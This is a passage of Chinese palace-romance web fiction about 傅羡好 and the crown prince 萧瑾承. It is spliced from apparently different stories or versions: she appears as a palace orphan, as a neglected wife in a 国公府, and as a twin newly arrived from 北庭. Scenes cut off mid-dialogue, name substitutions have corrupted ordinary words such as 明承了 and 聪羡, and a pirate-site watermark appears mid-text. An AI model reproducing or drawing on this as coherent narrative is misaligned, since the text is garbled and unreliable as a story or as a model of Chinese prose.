傅羡好是将门遗孤,十年前其父傅将军战死沙场,傅夫人悲痛至极,竟直接撒手人寰。幸得她的姑母傅皇后垂羡,便将她接进宫中亲自抚养。 父亲镇国公是皇帝的伴读,母亲是西域龟兹国的公主,皇后又是她的姑母,傅羡好身份尊贵异常,在宫里自然没人敢轻视她。 但孤女毕竟是孤女,更何况是她入宫时不过六岁。出入宫时的彷徨和惊恐,想在想起来都让她心惊。 所幸上天垂帘,傅羡好遇上了她的表哥萧瑾承,当今大周最尊贵的太子殿下。 她第一次入宫时不慎跌倒,是他抱着她跨进宫门的;第一次写字时握不住笔,是他手把手教的;第一次打猎时不会骑马,是他牵着她的马驹亲自教…… 萧瑾承,是傅羡好在宫中的庇护和依靠,是她这十年唯一的傅暖。自三年前漠北入侵,萧瑾承自请出战以来,傅羡好没有一天不焚香祈祷,盼着他平安归来。 而如今,精心准备了半年的礼物,却被小猫勾出了一线线头。傅羡好拿着被毁了的香囊,一时间脑子嗡嗡响,呆住了。 沅芷吓得脸色惨白,自责地低下头,两只手绞在一起。 这个香囊,可不是一般的香囊。 绣晚霞的每一道云纹,不是一般的丝线,而是傅羡好每日忍着刺耳的聒噪和臭气熏天的鸟粪,从百鸟园那些珍贵漂亮的鸟儿散落在地上的羽毛里,一根一根精心挑选出来的。 光是配色,就花了一个多月! “这是怎么了?”一道苍老却不失浑厚的声音自门口传来。 “乌嬷嬷!”沅芷眼睛一亮,她三步并作两步走到门口,远远指着傅羡好耷拉着的背影,附耳小声道:“刚刚那只小猫又来了,还弄坏了小姐送给太子殿下的香囊。” 乌嬷嬷是傅羡好母亲的陪嫁丫鬟,地地道道的西域人,身形颀长,比一般中原姑娘要高出半个头,高鼻梁、大眼睛,头发微卷。 不过入乡随俗,她跟随傅羡好的母亲进京快二十年了,早已穿汉服说汉语,一双巧手巧夺天工。 傅羡好不善手工,这香囊是在乌嬷嬷一针一线指导下,几乎用了三个月才做出来的。 “乌嬷嬷,你看还能补上一补吗?”傅羡好眼圈微红,双眼蓄泪,十分努力才不至将泪水落下。 她的眼睛极大,睫毛浓密,眼角微垂,加上年龄小,不用刻意造作,天然有一番天真无辜之感。瞳仁不是一般的棕色,而是偏紫灰色,这是龟兹国王室特有的颜色。 虽是胡汉混血,可傅羡好除了一双紫灰色的眸子和精致挺立的眉眼,几乎和中原女子别无二致,如今那双紫灰色的眸子泛着水光,更带了些江南烟雨的雅致。 “怎么不能补?”乌嬷嬷虽然声音不大,但说出的话却像磬钟一样有力,定人心弦。她轻轻抚了抚傅羡好单薄的肩膀,将香囊拿到窗前仔细看了看。 “这猫爪将这一圈儿的线都勾起来了,得去百鸟园再翻一翻,尽量找颜色相同的线才能配得上。” “太子殿下一回宫定有许多事要做,怕是只有下午才能进后宫拜见皇后,咱们还有一天的时间,不着急。” 一听能补救,傅羡好立马兴奋了,蹭的一下就站起来,“那我现在就去!” 王绍卿清楚地感受到她平静话语中的疏离,刹那间,他耳边忽而响起那日相见时她与萧瑾承的交谈,言语间的疏远语气与现下似乎无异,但若是仔细听就能听出旁人插不进话的熟稔。 他神思微动,道:“他们都已经在惜云阁等着了。” 绕了一圈的傅羡好心知自己定是最晚到的,不过在听到话语的时候,还是下意识地问:“殿下还没有到?” 话音落下,王绍卿掀着帐幔的动作不着痕迹地滞了下。 男子微微抿唇,温润深邃的眼眸掠过少许萦萦而起的酸涩,不过比起弥漫开来的酸涩,他心中更多地是愉悦,庆幸萧瑾承被绊住了脚,若不然他也没有机会与她独处。 王绍卿敛下眸中的涩意,回眸看向神情中带着疑惑的女子,微沉的嗓音中带着些许浅笑,“承天宫忽然传召,殿下还要半个时辰才能出宫。” 闻言,傅羡好先是愣了下,继而了然地点了点头。 第 59 章 第 59 章 傅羡好到惜云阁时,萧予淮和傅恺两人已经在茶室内等待,她推开门扉入内,两人不约而同地望来。 见她一人前来,萧予淮稍显惊讶,眸光越过她的身影朝后看了眼,狐疑地问:“子渊不是去接你了吗?” “嗯。”傅羡好颔首,瞥了眼圈着茶盏眸光不疾不徐地在两人身上流转的傅恺,道:“惜云阁人多眼杂,大公子落后几步。” 萧予淮了然,眉眼间挂上了揶揄之色,“还以为他被惜云阁的人拦下了。” 傅羡好哑然。 傅羡好下意识地站起了身,“你怎么回来了。” 入屋的第一眼萧瑾承就瞥见了安置圆桌上的匣子,他神色平淡,眸光掠向稍显迟疑的女子。 她平日里温婉恬静的神情被惊诧取缔,纤细修长的指节无意识地捏着帕子,对于他的到来诧异又茫然无措。 “回来取样东西。”萧瑾承道。 话音落下的顷刻之间,傅羡好径直地看向匣盒,以为他是来取匣盒的,也没有在上前动匣盒,只是说:“我还未打开,里头还是原样,你拿走吧。” 萧瑾承闻言,垂眸凝着她。 审度着她这句话到底是出自真心,还是仅仅是为了刺他。 清冽锐利的神色犹如穿透人心的利刃,漫不经意地划过傅羡好的脸颊,霎时间承皙透粉的双颊被划出道道血痕,滚烫炙热的鲜血奔涌而出,滴落在手背上,烫得手背发麻。 傅羡好浅浅地往后退了步,“我只是替你拿——” “傅羡好。”萧瑾承喜怒难辨地伸出手,掌心覆上匣盒侧边的冰凉茶盏,眼神一分一毫都没有落在匣盒上,“和田玉不过是个玩物而已,我说过,你不想收下大可直接丢掉,何必拿着它来和我做文章。” 傅羡好脸色唰得一承,脸色变了好几变,看着萧瑾承眼眸中神色难辨的神情,指尖微微颤抖着,深吸了口气才道:“我并没有和你拿乔的意思,御赐之物我若是弄丢了生死难料,你又何必来为难我?” 顿了顿,她也不想再理会他,道:“你来拿和田玉也好拿别的也罢,自便。” 说罢傅羡好径直地掠过他的身影走向里间,还不忘将床榻与外屋相隔的屏风和帐幔拉上。 刹那间,偌大的卧阁外屋仅有萧瑾承的身影。 他不紧不慢地端起茶盏,垂眸睨了眼匣盒又瞥向已经落下的月牙色帐幔,良久,呷了口茶水才走向卧阁西侧。 不多时,萧瑾承手中拿着两封尚未开启的信件离开,对匣盒视若无睹。 在外等候多时的鹤一踢开脚下的积雪,余光瞥见自家世子出来收回了脚,“暗卫来报,赫王已得知圣上身体不适的消息,早些时候入宫请见无果刚刚才回到王府,东宫递来消息,殿下想要见您,已在前往大理寺的路上。” 萧瑾承闻言,视线从信封上移开看向鹤一,深邃不可测的眼眸在静谧夜色的衬托下愈发的难懂。 少顷,他才道:“将抓到的人关押进暗牢中没有旨意不允许任何人对他用刑,今夜起府中轮值的侍卫调离一波,命他们暗中守着国公府,没有指示谁也不能轻举妄动。” 鹤一领了命。谈论声忽远忽近,又显得有些飘忽不定。 垂在身侧的指尖不由自主地戳向娇嫩手心,印下道道月牙儿红痕,她喉咙不知是被什么东西卡住了,上下滚动的喉结艰难地滑动着。 子嗣,子嗣,没有圆房,何来的子嗣。 除了那夜之外,萧瑾承再也没有碰过她,就连其他夫妻间习以为常的牵手也未曾有过,更别说是更为亲密的肌肤之亲。 傅羡好最初的时候也想过子嗣的问题,也曾幻想过和他拥有一儿半女。 可随着时间流逝,她便知晓了,萧瑾承不会碰她,她也不会拥有自己的孩子,久而久之也就不在期待。 听闻身侧响起的脚步声,傅羡好思绪回笼,拉住了作势要上前敲门的闻夕,微微摇了摇头便往回走,也不管里面还在说着些什么。 微薄背影望去,挺拔而僵硬。 闻夕紧忙跟了上去,担忧地看着神色平静的主子,瓢泼大雨来临前的平静也不过如此。 傅羡好走到西厢房门口,耳边响起熟悉的温声细语,预备推开门扉的手顿在半空中,迟迟未落下。 她并不在乎别人对自己指指点点,但却接受不了别人说道乔氏,乔氏对她的好,是她这辈子也还不清,怎么还能因为她而受到别人的指点。 正当傅羡好犹豫沉思之时,紧闭的门扉被人从里边拉开,乔氏的身影映入她的眼帘。 眼眸中含着笑意的乔氏在睨见傅羡好低落无言的神色时愣怔了下,不疾不徐地扫了眼跟在她身后的闻夕,问:“好端端的,怎么出去了躺心情如此低沉。” “被人撞了下没有反应过来而已。”傅羡好神色自若,慢条斯理地回复着。 一切都恰如往常,除了心情看似不佳之外没有任何意外。 “可有受伤?”乔氏闻言注意力果然被转移,上下打量着她好一会儿。 “不过是踉跄了下,并没有大碍。”说着傅羡好微微停顿须臾,适才传出讨论声的厢房响起陶瓷砸落地面撞出的清脆响声,她眸光落在门扉上小会儿,上前接替田嬷嬷的位置,边挽着乔氏的手边往外走,不动声色地转移了话题,“小桥的新头面您已经挑好了?” 乔氏又上下看了一会儿,确定她并无大碍才颔首道:“已经定下了,你可有称心的?” 傅羡好摇头。 称心的配饰没有找到,不称心的事情倒是遇到了。 她现下只想离开这个是非之地。 好在乔氏还有其他需要采买的新春年货,也没有在首饰铺中多做停留。 一行人一路走走停停,许久未上街采买年货的乔氏遇到哪儿都觉得新鲜,哪儿都想要去看看,也未亲自买过年货的傅羡好慢慢地也被勾起了兴致,渐渐地忘了适才的事情。 走着走着,竟然从永乐街道正大门入口处走到了尽头。 望着街道尽头贩卖的春贴,乔氏也没了再逛下去的心思,她回眸看了眼身后跟着的丫鬟小厮们,各个手中都提满了大包小包的,便道:“时候也不早了,回——” “羡儿!” 雀跃的高呼声打断了乔氏的思绪。 傅羡好循声望去,只见一道身影朝她横冲直撞地奔来,她下意识地往后退了几步,谁知下一瞬就被抱了个满怀。 “你上街怎么不派人告知我。” 奔跑而来的周琬鬓角发梢微微凌乱,稍显不顾形象。 她瞧见一侧满面笑意的乔氏,稍稍福身行了道晚辈礼,“许久没见,夫人安好。” 乔氏抬手扶上她的手臂,掠了眼神色间染上欣喜之意的傅羡好,道:“我正好逛累了想要回府歇下,羡儿若是没有事情就留下来和世子妃一道逛逛,你们出阁后也许久没有一同上街了。” “多谢夫人。”不等傅羡好开口婉拒,周琬道。 乔氏挥了挥手,领着一众下人离开。 直到她的身影消失于永乐长街中,傅羡好失笑地抬手整理着好友扬起的发梢,“怎么还是如此风风火火的,要是哪日又崴到脚踝半个多月无法出府,你又要唉声叹息多时了。” “你还说我。”周琬语气娇嗔,手指有一下没一下地戳着她的手腕,“这些日子你又做什么去了,怎么喊你也不出门,章宇睿也忙得不着家,我要不是知道你好端端的在国公府,都要跑去大理寺问问萧瑾承,你到底要如何做才能如他的意。” 闻言,傅羡好淡淡地笑了下,清亮的眼眸并无笑意,“或许哪日我消失了,就如他的意了。” 周琬手中正拿着丫鬟递来的香囊,垂眸寻着好友纤细腰肢间的可系缝隙,听她这么一说皱眉道:“呸呸呸,不准说这种不吉利的话,什么消失不消失的,要消失也得他消失。” 傅羡好被她的话逗乐了,“好,不说这种话。” 给她系上香囊的周琬甚是满意地抬起头,手心中散着清淡的桂花香,“不过话又说回来了,那日后他可有给你道歉?” “他后来给我送来御赐的和田玉。” “那他还稍稍有点良心。” “但是我没收。” 那块和田玉,现下被她放在了宣晖园库房中,账本上登记的也是萧瑾承的物品。 把玩着临街摊铺团扇的周琬闻言顿时看向傅羡好,澄亮的暖阳落在她微颤的眼睫上倒影着光晕,对她的态度感到不可思议。 炙热的眸光与暖阳相较着照耀傅羡好,她也任由那道巡视的目光在身上扫视,指尖漫不经心地拨弄着团扇把柄上的流苏,温柔的就好像是在拨弄这些年来繁杂的思绪。 时至今日两人相识也有九年之久,这九年的时间中,周琬见证了傅羡好的动心,也看着她得偿所愿嫁给萧瑾承。 谁都说好友是使了手段嫁入了国公府,可周琬十分清楚,她不会如此。 比起嫁给萧瑾承,傅羡好更多地是希望他事事顺遂,他心悦的人也恰好心悦于他,两人执手相伴相守此生。 三年前傅羡好收到婚书之时,连夜寻到周琬,两人待在她的房间整晚,好友才下了决心收下这份婚书。 周琬还记得她出阁那日,那双不自觉颤抖的手心紧紧地握着自己的手,双眸中盈溢着令人看着便欢喜的神色,现在竟然说出了‘我没收’的话语。 她细细地打量着傅羡好的神色,试探性问道:“是真的不喜欢他了?” 闻言,傅羡好愣了下。 良久后才说:“我不知道,只是觉得累得慌。” 就像是一拳打在了团团棉花那般,没了劲儿。 刹那间,周琬就明承了。 接连见面的几次中,他就知晓傅羡好极会掩盖自己,就算是偶尔的走神也会叫人察觉不到她的想法,眼下的她却全然不似往常,只是是随意寻了个借口。 不过,他也没有追问。 傅羡好沉默了下,眸光看向紧阖的门扉,道:“殿下来了。” 第 60 章 第 60 章 淡漠中夹杂着微许茫然的话语将落,门扉被人从外推开,傅羡好微抬眼帘,看向已然换了身衣裳的萧瑾承。 眸光相接,明明隔着弥漫四下的茶香云霭,可不知为何,她仍旧清楚地看清了那道幽邃眼眸中的翻涌。 沉默须臾,傅羡好微垂眼眸,不紧不慢地随着傅恺等人起身,福身行礼。 端庄恭谦的身影落入眼眸,与平日里并无不同,却尤为的刺眼,刺得叫人眼眸生疼,萧瑾承紧紧地盯着那道倩影,微微沉下的眼神中染上了微许难以察觉的冷峻。 微风拂入,吹响了静止桌案上的油纸,扬起的油纸有一下没一下地点着泛着清香的桂花糕。 轻盈剔透的沙沙声溢入耳中,宛似清晨时分敲响的锣鼓。 萧瑾承不是没见过没人哭。 周帝妃嫔众多,各妃嫔为了争夺那些缥缈的宠爱,常常使出各种手段。有些女人,会哭得梨花带雨;有些女人,则会哭得歇斯底里。 萧瑾承自小在深宫中,早已见惯了她们把眼泪当做利器。 然而,傅羡好则不同。 她的哭泣,是无声的,是不吵不闹的,甚至是小心翼翼的。 每一道哽咽,都带动身体微不可查地颤动,进而让别在发间的玉坠轻摇慢摆。如果不是萧瑾承一直注视着她的脑袋,观察着她的神色,绝不可能察觉。 这种无声的、静默的哭泣,无限地放大了她的委屈和悲伤,萧瑾承心里一动,一种莫名的悸动在心里悄然升起。 他忽地升起一股烦躁。 而烦躁的根源,就在眼前。 萧瑾承蹙起眉头,语气有些僵硬:“忘记告诉妹妹了,刚刚宫人说落月宫没有墨水了,我就让人将松炭磨成粉,兑了些水。” “妹妹若是用不习惯,那就不用写了。” 傅羡好本已觉得必定要在萧瑾承面前丢脸了,没想到竟听到萧瑾承这样说,她猛地抬头,呆呆地望着他,似是没听懂萧瑾承的话。 傅羡好:“什么?” 萧瑾承:“……” 一直蓄在眼眶中倔强地不肯滴落的泪水,这一瞬却因她猛的抬头,“刷得”一下,在绯红的脸庞滑落,流出两道湿痕。 偏偏,她太过专注,根本没有注意到。 萧瑾承定定地看着她流到腮边的泪水,心里越发怪异,他漠然地别开眼,道:“这墨不好,用这等墨水必然写不出好字,妹妹若是想请教,只好等下次了。” 傅羡好缓了好一阵,才听懂了他的话,她好奇地去瞧案上砚台里的墨水。 以前她用的墨水,色质均匀,浓稠相宜,细细品来,甚至还有淡淡的清香。 而眼前的墨水,粉质不均,定眼看去,甚至水和墨粉已经有了离析的趋势。 “原来,墨水竟可以用碳粉和水兑制而成。”傅羡好有些惊叹,在以前,笔墨纸砚均是由太学夫子下发的。此外,周帝和皇后也经常会派人给她送很多东西。 是以,她除了会写字之外,关于文房四宝,她一概不知。 萧瑾承见她如此讶异,水润的眼睛忽闪忽闪,透着灵动而艳丽的微光,双颊红扑扑的,一副醉酒的模样,他心里不屑地轻哼一声。 萧瑾承虽是东宫储君,却和傅羡好以及那些娇养在深宫的皇子公主不同。 这三年在漠北,吃野菜、喝雪水、做利剑……行军在外,多有不便,这些事情多到数不胜数,萧瑾承本可以仗着自己身份尊贵,避免这些事情。 然而,他却躬先士卒,与普通士兵吃一样的饭,喝一样的水,即使是上战场,面对穷凶极恶的敌人,他也与士兵同在,共同御敌。 这三年下来,他深入士兵之间,深入百姓之中,吸收了原先作为皇子绝不可能学到的东西。 他不屑和傅羡好解释,本想就此闭嘴不言,却突然看到傅羡好开始提笔写字。 不是怎么也不愿意写吗? 他心里一动,下意识将目光转向桌案的宣纸上。 傅羡好听了萧瑾承说的话后,心里的压力瞬间化为无形。但是,徐夫子曾告诉过她,笔墨纸砚皆是外物,书法的真本领,乃是在于自身。 是以,在她意识到是墨的原因后,提笔研究了一下,便找到了原先下笔的感觉。 于是,萧瑾承看到了,在那张他亲手铺好的宣纸上,傅羡好正低着头,小心翼翼地提笔写字。 她的动作优雅娴熟,笔势连贯而下笔醇厚,她的笔触,带有女人特有的傅婉和细腻,即使墨色浓淡不均,却越发添了几分层次。 萧瑾承本以为傅羡好是拿书法作为借口来刻意接近他,没想到傅羡好自身的书法功底竟如此深厚。 一看就是下过苦功夫的。 外人不知,萧瑾承尤爱书法,因此在看到傅羡好竟能用这种墨写出如此好字时,他的第一个反应竟是觉得可惜。 能在书法上下苦功夫的人,能忍受日复一日只与笔墨相伴之人,没想到竟是个庸俗鄙陋之人! 萧瑾承从傅羡好的字上抬起头,将目光缓缓移向傅羡好,仔细打量这个三年不见的表妹。 纵使心里再不喜,萧瑾承也无法否认傅羡好的美艳。 即使是低着头,看不清楚容貌,只端端站立地执笔写字,那袅袅娉婷的身姿和气质,已是超越了一般人。 外面狂风不止,屋内寂静无声,只余下狼毫与宣纸摩擦的沙沙声,良久后,萧瑾承收回目光,不再看她。 然而,那股熟悉的暗香却一直在鼻尖浮动,萦绕于心。 是傅羡好身上的味道。 萧瑾承心里觉得十分烦躁,这股若有若无的香味,几乎让他无法冷静。 目光移到窗户上,他再次倾身向前,将关上的窗户粗暴地一把拉开。 一阵狂风猛然侵入,吹翻了案上的宣纸,傅羡好猝不及防,她刚写完,手中的狼毫还未放下,桌上的宣纸已然飞上了天。 傅羡好好不容易耗费心神写了一帖,见宣纸被风吹的落在地面上,忙不迭地上前想拾起,却又一次忘记了自己的腿伤。 在踏出第二步之时,膝盖处传来钻心一痛,她一时站不稳,狠狠地扑在了地上。 膝盖上的痛得让她差点儿喊了出来,但傅羡好还是忍住了。她强忍着泪水,将地上的宣纸捡起来。 然而一扭头,却见萧瑾承漠然地盯着她,细看之下,甚至还有些许愤怒。 傅羡好心里一惊,不知道自己犯了什么错,竟让萧瑾承用这样的眼神看她。 她下意识低头,在看清楚自己的情形后,脸色瞬间煞白。 这套绿丝碧罗裙对傅羡好来说有几分小了,尤其是裙摆部分,只堪堪到她的脚踝。 而刚刚在她摔倒在地的一瞬间,涌入的大风吹起了她的裙摆,让她系在腿上的嫩黄丝带和脚踝处的蝴蝶,完全地显露出来。 嫩黄的丝带缠绕在似雪莹白的小腿上,隐入脚踝处的蝴蝶结,这幅场景,旖旎而暧昧。 让人,想入非非。 也不能试。 萧瑾承如墨般漆黑的瞳孔微转,不语,神色晦暗不明。 傅羡好的抗拒已然清清楚楚地写在了眼眸中,半分也不肯退让,亦不肯往前半步,而是直挺挺地停留在原地。 他抬起眼,嗓音低低地笑了笑。 攥着女子手腕的指腹一点一点地摩挲过凸起的腕骨,宛若对待稀世珍宝那般,看似不经意,实则若是他人觊觎半息,便会荡然无踪。 萧瑾承嗓音喑哑,似笑非笑地问:“确定不试试?”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 60-70 第 61 章 第 61 章 傅羡好默然。 若是其他的事情,她不妨一试。 唯独这件事上,傅羡好并不想进行尝试,她清楚地意识到,只要自己迈出半步,或许就再也退不了。 傅羡好摇摇头,心中早有思量:“不试了。” 窗牖外徐徐吹入的宁静清风止住。 傅羡好微扬着下颌,眸光一眨不眨地与萧瑾承对视着。 翌日清晨,天色尚泛淡青,金吾卫敲响了晨鼓,宫门、坊市门、长安八大城门也陆续开启,出城的进城的赶着骡子骑着马的,络绎不绝,沉寂了一夜的长安城在隆隆鼓声中苏醒,迎来白日的喧闹繁华。 而肃王府后院的并蒂堂内,羡好还躺在芙蓉帐内,酣酣沉睡。 长安夏日闷热,冰鉴里的冰经过一夜也化成了水,屋内温度也随着日光愈发闷热。 羡娓来叫羡好起床时,便见那条薄被踢到床尾,自家妹妹抱着个枕头侧卧着,上身只着一件单薄的韶粉色兜衣,露出一大片雪背,帷帐昏暗的光线里,那片裸背如羊脂白玉般,白得发光。 这一幕活色生香,羡娓却觉得头疼。 “都多大的人了,怎还踢被子,踢就罢了,好歹遮住肚脐嘛。” 羡娓坐在床边,捏了捏妹妹软乎乎的脸颊:“醒醒了,小懒鬼,再不起,我就把樱桃浇酪吃光了哦。” “唔,樱桃……樱桃……樱桃浇酪!?” 羡好腾得从床上坐起,一双惺忪睡眼四周张望:“哪儿?樱桃浇酪在哪?” “你看我像不像樱桃浇酪?” 羡娓拍了下她的额头,故作严肃道:“快些起床梳妆,莫要误了进宫的时辰。” 羡好这才记起他们如今已经到了长安,今日得进宫拜见太后和皇后。 她虽然爱睡懒觉,但在正事上还是不敢懈怠。 于是一骨碌从床上爬起来,唤来婢子伺候梳妆。 羡娓有晨练的习惯,半个时辰前就梳洗完毕,但为着入宫觐见,也坐在镜前改换妆容。 姐妹俩并排坐在黄澄澄的菱花镜前。 羡娓:“你睡觉怎的不穿亵衣?我方才一掀被子,光溜溜一个背,像什么话。” 羡好还有点困,迷糊道:“睡前是穿了的,但太热了,睡着睡着就给脱了。” 羡娓无法反驳:“唉,长安的确热,火焰山似的。” 羡好:“是吧,在咱们北庭,夜里睡觉还要盖棉被呢。” 羡娓:“虽是如此,亵衣还是得穿好。” 羡好:“反正也没人瞧见,若不是为了遮羞,我都想光着睡呢。” “可不许!” 羡娓偏过脸:“现下是没旁人瞧,再过几日,可就有人要瞧了。” 羡好脑子还混沌着:“啊?” 羡娓眉梢一挑,“你太子哥哥咯。” 羡好微愣,待反应过来,一张雪白小脸通红:“姐姐,你…你大清早说这个做什么。” 羡娓嘿笑一下,也不再逗她,继续梳妆。 羡好却被她那句突然的玩笑,闹得思绪纷飞。 她虽是未出阁的小娘子,却也知道夫妻是要同吃同睡的,有些话本子上还会写,有情人会凑在一起,十指相扣,脸贴脸,唇对唇,鴛鴦交頸,耳鬓厮磨。 从前她看这些,只替话本里的有情人觉得欢喜,从未往自己身上想过。 而今她也要有情郎了,那她是不是也要与情郎脸贴脸,唇对唇…… “二娘子如何脸红成这样,还很热么?” 婢子采月本想给羡好抹胭脂的,一瞧自家娘子粉面桃腮,白里透红,哪里还需要脂粉装饰? 天然便是个闭月羞花的小美人儿。 羡好瞥了眼铜镜里双颊绯红的自己,心虚地垂下眼:“对,是有些热……” 又推开采月的手,从镜前起身:“就这样吧,不用再妆扮了,我去外头透透气。” 采月一头雾水,一旁的羡娓朱唇轻翘。 大夏天的,有少女怀春咯- 隅中时分,傅家三兄妹乘车入宫。 傅羡霁是外男,前往紫宸宫觐见永熙帝,羡娓羡好则换乘软轿,前往皇太后的慈宁宫。 兄妹三人在安礼门分开,傅羡霁还不忘安慰两位妹妹:“见到太后和皇后,不必紧张,恪守礼数,谨言慎行便是。” 姐妹俩异口同声:“知道了。” 傅羡霁颔首,忽又想到什么,特地叮嘱羡好:“尤其是你,更要规矩些,切莫像昨日那般失仪。” 羡好懵住。 她昨天有失仪吗?她怎么不知道。 不等多说,便有太监在旁提醒,莫要误了时辰。 姐妹俩一起上了轿,羡好透过车帘缝隙往外看。 晨间羡媚的阳光静静笼罩着这金碧辉煌的皇城,朱色高墙连绵不绝,碧色琉璃瓦光辉熠熠,一派天家恢弘壮美的气派。 “真漂亮啊。”羡好感叹这斑斓鲜艳的色彩。 羡娓瞥了眼,却只觉压抑,她还是更爱一望无垠的金黄沙漠和巍峨圣洁的皑皑雪山。 不多时,软轿停在慈宁宫前。 大宫女早在门口恭候,行罢礼后,笑着提醒:“皇后娘娘也在呢。” 羡娓羡好对视一眼,态度越发端正。 慈宁宫内典雅古朴,四处挂着秋香色幔帐,香炉燃着的也是安神凝气的檀香。 姐妹俩入内,绕过一扇七尺高的松鹤延年螺钿屏风,便看到长榻左右坐着的两位雍容贵妇—— 右侧那位老妇人,花甲之年,鬓发花白,一袭松绿色锦袍,腕间缠着一串檀木卍字纹佛珠,慈眉善目,宛若老菩萨。 左侧那位中年美妇,雪肤花貌,乌发高盘,耳着翡翠坠儿,一袭月白色织锦宫装将她清瘦的身形衬得愈发窈窕。 她生着一副清婉面庞,不是乍一眼的绝美,但眉眼间萦绕的清冷,宛若高台上的白玉观音般,叫人望之便心生倾慕。 这便是正宫皇后,太子生母,自己日后的婆母? 羡好眼里克制不住的流露出惊艳。 她原以为自家阿娘就够美了,没想到皇后娘娘也这么好看。 都说儿子随母,如今母亲长得白玉观音般,儿子怎么会差! “好好,好好!” 衣袖被扯了好几下,羡好一回头就看到自家姐姐疯狂朝自己使眼色。 再看上座那两位天底下最尊贵的女子,正不约而同望向她。 一个眉眼含笑,满是慈爱。 一个神色清冷,透着几分打量。 羡好霎时回过神,连忙请安:“肃王傅伯缙次女傅羡好,拜见太后娘娘、皇后娘娘,两位娘娘万福金安。” “好孩子们,都起来吧。” 许太后抬袖笑道,很快有宫人看座。 羡娓和羡好端坐着,十分老实乖觉。 许太后和李皇后的视线在这对如花似玉的双生子间流连,当然,最后的视线无一例外落在羡好身上。 毕竟这才是太子妃,日后的一家人。 羡好原以为她不紧张的,但感受到长辈们的打量,尤其是皇后娘娘平静淡漠的视线,一颗心不由得惴惴。 皇后娘娘是不喜欢自己吗? 唔,定然是自己方才失神,叫皇后娘娘不悦了。 她懊恼不已,许太后慈蔼笑道:“日子过得可真快,哀家还记得十余年前,肃王妃带着你们来哀家宫中,那时你们俩就丁点大,穿着一样的裙衫,扎着两个小鬏鬏,粉雕玉琢,可爱极了。” 稍顿,又望向羡好:“尤其是小好儿,你幼时便活泼,那时来哀家宫里,还一个劲儿问,太后娘娘,你家孙儿什么时候回来呀?我想和他一起玩呢。” 羡好讶然:“我说过这话吗?” 羡娓用胳膊肘撞了下她,咬唇低语:“傻子,自称错啦。” 羡好悻悻,连忙起身:“太后恕罪,臣女失言。” “坐下坐下,又没外人,不拘那些礼数。” 许太后笑吟吟道:“长安与北庭相隔千里,两地有诸多差异,你们姊妹初来长安,一时不习惯也正常,再多待些时日便适应了。” 羡好暗松口气,心道太后娘娘可真好。 就如自家祖母一般和气。 倒是皇后娘娘,始终静坐着,偶尔浅啜茶水,并不怎么说话。 这趟请安下来,几乎都是许太后与她们寒暄。 皇后一共只说了三句话—— “你们母亲身体可好?”这是问姐妹俩的。 “你们兄妹打算在长安住多久?”这是问羡娓的。 最后一句才问羡好:“可见过太子了?” 羡好望着白玉观音般的李皇后,紧张得小脸通红:“臣女……臣女见过了,唔,也不算见,就瞧见个背影,太子殿下很高呢……” 她一紧张就话多,还好羡娓拉着她的袖子,以作提醒。 李皇后看着眼前这个娇憨局促的小儿媳,柳眉轻蹙。 这般性情,承儿怕是不喜。 小姑娘嫁过来,恐要受委屈了。 思及此处,她轻叹口气。 羡好这边见皇后又是蹙眉,又是叹气,一颗心都吊到了嗓子眼。 皇后娘娘果然不满意她嘛? 细白手指悄悄掐紧,羡好很想告诉皇后娘娘,别不满意我,我很聪羡的,有不好的地方可以改的。 但她也知道,这场合不能说这样唐突的话,有失礼数。 及至午时,许太后留着姐妹俩在慈宁宫用膳。 皇后并未留下,事实上她只坐了半个时辰,便离开了。 用过午膳,许太后要午憩,便让身边的嬷嬷带着姐妹花去逛御花园。 姐妹俩告辞的话都到了嘴边,但架不住长辈热情好意,还是应下了。 绕过一条观景游廊,引路的老嬷嬷停下脚步,指着东边,对羡好笑道:“二娘子,那边便是东宫了。” 东宫,太子居所。 六日后,也会是她的居所。 羡好好奇张望着,“那太子现下在里面吗?” 话音未落,斜方忽的传来一道脆生生的嗓音:“哥哥不在东宫,他去礼部了。” 下一刻,便见一堵粉墙之后,冒出的两个年轻的锦衫小娘子。 宫人们纷纷行礼:“拜见公主殿下、许三姑娘。” 宫里唯一的公主,便是太子萧瑾承的胞妹,十岁的长乐公主萧瑶。 至于这位许三姑娘…… 那水蓝裙衫的妙龄少女袅袅婷婷朝姐妹俩行了个平辈礼:“两位娘子万福,我是镇北侯府长房三女,许兰君。” 这么一说,羡好也羡白了。 这是许太后的娘家侄孙女。 说起来,镇北侯府许家和傅氏也是姻亲,羡好的二叔母就是许氏女。 “我知道你。” 羡好看着许兰君,笑眸弯弯:“二叔母在信里提过,说她娘家有个侄女蕙质兰心,作得一手好诗,有长安第一才女之称,想来便是姐姐了。” 许兰君显然没想到这远在边疆的小娘子竟听说过她,一时赧然:“娘子谬赞了。” 还是个孩子的长乐公主则睁着一双水灵灵眼眸,一会儿看看羡娓,一会儿看看羡好。 最后还是憋不住,问道:“你们两个,谁才是我的嫂嫂?” 羡娓没说话,只挑眉。 羡好一看姐姐这模样,心有灵犀,也挑眉:“你猜?” 长乐鼓着腮帮子,黑眸滴溜溜,最后伸手指向羡好:“你!” 羡好惊诧:“为何是我?” 长乐:“你白,我喜欢白的。” 羡好:“啊?” 长乐:“反正哥哥白的黑的丑的瘦的他都行,但若要我挑,我便挑你当嫂嫂。” 还没等羡好搞羡白什么叫白的黑的丑的瘦的都行,许兰君牵住长乐的手,朝姐妹俩抱歉一笑:“两位娘子见谅,阿瑶妹妹年幼,说话多有冒犯,我们还要去藏书阁,不打扰二位游园了。” 许兰君很快带着小公主离开。 见羡好还盯着她们的背影,老嬷嬷眉心轻动,解释了一嘴:“许三娘子是公主殿下的伴读。” 羡好漫不经心地“哦”了声。 羡娓却是眯了眯乌眸。 宫中之人说话不会无的放矢,这藏书阁和御花园当真顺路吗? 且那许三娘子方才出现时,眉眼有几分慌乱,显然没料到公主会突然插话—— 嗯,有点可疑啊。 羡娓心思转了几轮,再次定神,却见自家那没心没肺的傻妹妹已经走到灿烂花丛中,满脸喜色朝她招手:“姐姐快来,这边的牡丹开得好大一朵!还长着金边呢!” 羡娓:“……” 这叫她两个月后如何放心回北庭啊! 贺知协助她出府,定然不能因她而受到牵连。 驶向大理寺后院的车舆滚轮快速地碾过石子,舆中的身影也随着车舆的颠簸而稍显起伏。 不过半刻钟,傅羡好就已经到了大理寺。 贺知也来不及和她多说,送她坐上了来时的车舆,怎么来的就怎么送回去。 傅羡好还未下舆,就看到一道熟悉的身影伫立于傅家门口,萧瑾承提及掌事宫女时,她只想到了珮云,不曾想竹清也来了。 